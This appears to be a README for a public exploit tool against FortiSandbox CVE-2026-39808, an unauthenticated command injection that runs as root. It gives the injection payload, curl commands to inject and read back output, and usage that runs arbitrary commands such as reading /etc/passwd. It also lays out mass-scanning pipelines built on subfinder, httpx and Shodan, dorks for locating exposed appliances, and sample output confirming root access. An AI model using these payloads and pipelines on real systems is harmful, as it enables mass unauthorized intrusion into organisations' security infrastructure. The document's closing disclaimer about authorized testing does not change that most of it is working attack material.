
Unauthenticated RCE scanner for FortiSandbox CVE-2026-39808 with canary-based verification, command execution, and pipeline integration for mass scanning.
Unauthenticated OS Command Injection as root in Fortinet FortiSandbox
Vulnerability • Installation • Usage • How It Works • Pipeline • Shodan Dorks • Disclaimer
CVE-2026-39808 is a critical unauthenticated OS command injection vulnerability in Fortinet FortiSandbox. The /fortisandbox/job-detail/tracer-behavior API endpoint fails to sanitize the jid parameter, allowing an attacker to inject arbitrary OS commands that execute as root — without any authentication.
The jid parameter in the tracer-behavior endpoint is passed directly to a system command without sanitization. Using pipe characters (|), an attacker can break out of the intended command context and execute arbitrary commands:
GET /fortisandbox/job-detail/tracer-behavior?jid=|(id > /web/ng/out.txt)| HTTP/1.1
The output is written to /web/ng/out.txt, which is accessible at /ng/out.txt on the web server — providing a convenient read-back mechanism for blind command injection.
Zero dependencies. Python 3.7+ standard library only.
git clone https://github.com/ynsmroztas/FortiSandbox-RCE-Exploit-CVE-2026-39808
cd FortiSandbox-RCE-Exploit-CVE-2026-39808
chmod +x fortisandbox_rce.py
# Verify if a target is vulnerable (uses canary-based detection)
python3 fortisandbox_rce.py -u https://fortisandbox.target.com
# Execute a specific command on the target
python3 fortisandbox_rce.py -u https://target.com --cmd "id"
python3 fortisandbox_rce.py -u https://target.com --cmd "cat /etc/passwd"
python3 fortisandbox_rce.py -u https://target.com --cmd "uname -a"
# Only check if vulnerable, don't execute --cmd
python3 fortisandbox_rce.py -u https://target.com --verify-only
python3 fortisandbox_rce.py -u https://target.com --cmd "id" --proxy http://127.0.0.1:8080
python3 fortisandbox_rce.py -u https://target.com -o report.json
# From a URL list
cat targets.txt | python3 fortisandbox_rce.py --stdin --verify-only -o report.json
# subfinder → httpx → scanner
subfinder -d target.com -silent | httpx -silent | python3 fortisandbox_rce.py --stdin
# Shodan → scanner
shodan search 'title:"FortiSandbox"' --fields ip_str,port --separator : | \
sed 's/^/https:\/\//' | httpx -silent | \
python3 fortisandbox_rce.py --stdin --verify-only -o results.json
usage: fortisandbox_rce.py [-h] [-u URL] [--stdin] [--cmd CMD] [--verify-only]
[--proxy PROXY] [--timeout TIMEOUT]
[--rate-limit RATE_LIMIT] [-o OUTPUT] [--no-banner]
Options:
-u, --url URL Target URL
--stdin Read URLs from stdin (pipeline mode)
--cmd CMD OS command to execute (default: id)
--verify-only Only verify vulnerability, don't execute --cmd
--proxy PROXY HTTP proxy (e.g., http://127.0.0.1:8080)
--timeout TIMEOUT HTTP timeout in seconds (default: 15)
--rate-limit RATE_LIMIT Delay between targets in ms (default: 0)
-o, --output FILE Output JSON report file
--no-banner Suppress banner
The scanner uses a 5-step verification process with strict false positive prevention:
Step 1 → Detect FortiSandbox (title/header fingerprint)
Step 2 → Check if vulnerable endpoint exists
Step 3 → Inject unique canary string via command injection
Step 4 → Read /ng/out.txt and verify canary (strict plain-text validation)
Step 5 → Execute user command + cleanup
The scanner implements multiple layers of validation to eliminate false positives:
text/htmlid Output Regex — Strict uid=\d+(\w+) pattern matching with size sanity check (<1000 bytes)/ng suffix to prevent double-path issues ╔══════════════════════════════════════════════════════════╗
║ FortiSandbox RCE Scanner v1.0 — CVE-2026-39808 ║
║ Unauthenticated Command Injection (root) ║
╚══════════════════════════════════════════════════════════╝
mitsec | @ynsmroztas
┌──────────────────────────────────────────────────────────┐
│ Target: https://fortisandbox.example.com │
└──────────────────────────────────────────────────────────┘
✓ FortiSandbox detected!
▸ Checking endpoint: /fortisandbox/job-detail/tracer-behavior
▸ Endpoint status: 200 | Content-Type: text/html
▸ Injecting canary: mitsec_a8k3m2x1
▸ Reading output: https://fortisandbox.example.com/ng/out.txt
CRITICAL 🔥 VULNERABLE — CVE-2026-39808 CONFIRMED!
CRITICAL Target: https://fortisandbox.example.com
✓ Canary 'mitsec_a8k3m2x1' verified in output (clean plain text)
──────────────────────────────────────────────────────────
Command Output: id
──────────────────────────────────────────────────────────
│ uid=0(root) gid=0(root) groups=0(root)
──────────────────────────────────────────────────────────
✓ Output file cleaned up
┌──────────────────────────────────────────────────────────┐
│ Target: https://patched.example.com │
└──────────────────────────────────────────────────────────┘
✓ FortiSandbox detected!
▸ Checking endpoint: /fortisandbox/job-detail/tracer-behavior
✗ Endpoint returned 404 — not vulnerable or patched
▸ Reading output: https://target.com/ng/out.txt
⚠ Output URL returns HTML page — this is the Angular SPA, NOT command output
▸ Content-Type: text/html
▸ This is a false positive — /ng/out.txt serves the SPA index.html
▸ Target does not appear vulnerable
{
"scanner": "fortisandbox_rce",
"version": "1.0",
"cve": "CVE-2026-39808",
"scan_date": "2026-04-22T10:30:00+00:00",
"total_targets": 5,
"vulnerable": 1,
"results": [
{
"target": "https://fortisandbox.example.com",
"vulnerable": true,
"details": {
"is_fortisandbox": true,
"server": "Apache",
"canary": "mitsec_a8k3m2x1",
"verification": "canary_match",
"command": "id",
"output": "uid=0(root) gid=0(root) groups=0(root)"
},
"timestamp": "2026-04-22T10:30:00+00:00"
}
]
}
The scanner outputs vulnerable URLs to stdout (all other output goes to stderr), making it fully pipeline-compatible:
# Find vulnerable targets and save
subfinder -d corp.com -silent | httpx -silent | \
python3 fortisandbox_rce.py --stdin --verify-only 2>/dev/null | \
tee vulnerable_fortisandbox.txt
# Chain with nuclei for further testing
cat vulnerable_fortisandbox.txt | nuclei -t cves/
# Silent mass scan with rate limiting
cat shodan_results.txt | \
python3 fortisandbox_rce.py --stdin --verify-only --rate-limit 1000 --no-banner -o report.json
title:"FortiSandbox"
title:"FortiSandbox - Please login"
http.html:"FortiSandbox" port:443
"FortiSandbox" ssl:"Fortinet"
http.favicon.hash:-1222072778
Censys:
services.http.response.html_title:"FortiSandbox"
FOFA:
title="FortiSandbox - Please login"
title="FortiSandbox" && country="TR"
Google Dork:
intitle:"FortiSandbox - Please login"
If you prefer to verify manually using curl:
# Step 1: Inject command
curl -s -k --get "https://TARGET/fortisandbox/job-detail/tracer-behavior" \
--data-urlencode "jid=|(id > /web/ng/out.txt)|"
# Step 2: Read output
curl -s -k "https://TARGET/ng/out.txt"
# Expected: uid=0(root) gid=0(root) groups=0(root)
/fortisandbox/job-detail/ endpointsjid parameter values containing pipe characters| Date | Event |
|---|---|
| November 2025 | Vulnerability discovered |
| April 2026 | CVE-2026-39808 published |
| April 2026 | Patched in FortiSandbox 4.4.9 |
This tool is provided for authorized security testing and educational purposes only. Unauthorized access to computer systems is illegal. Always obtain proper written authorization before testing. The author assumes no liability for misuse of this tool.
mitsec — @ynsmroztas
If this tool helped you, consider giving it a ⭐
| Detail | Value |
|---|
| CVE ID | CVE-2026-39808 |
| CVSS Score | 9.8 (Critical) |
| Attack Vector | Network |
| Authentication | None |
| Privileges | Root |
| Affected Versions | FortiSandbox < 4.4.9 |
| Patched In | 4.4.9 and above |
| Advisory | FG-IR-25-325 |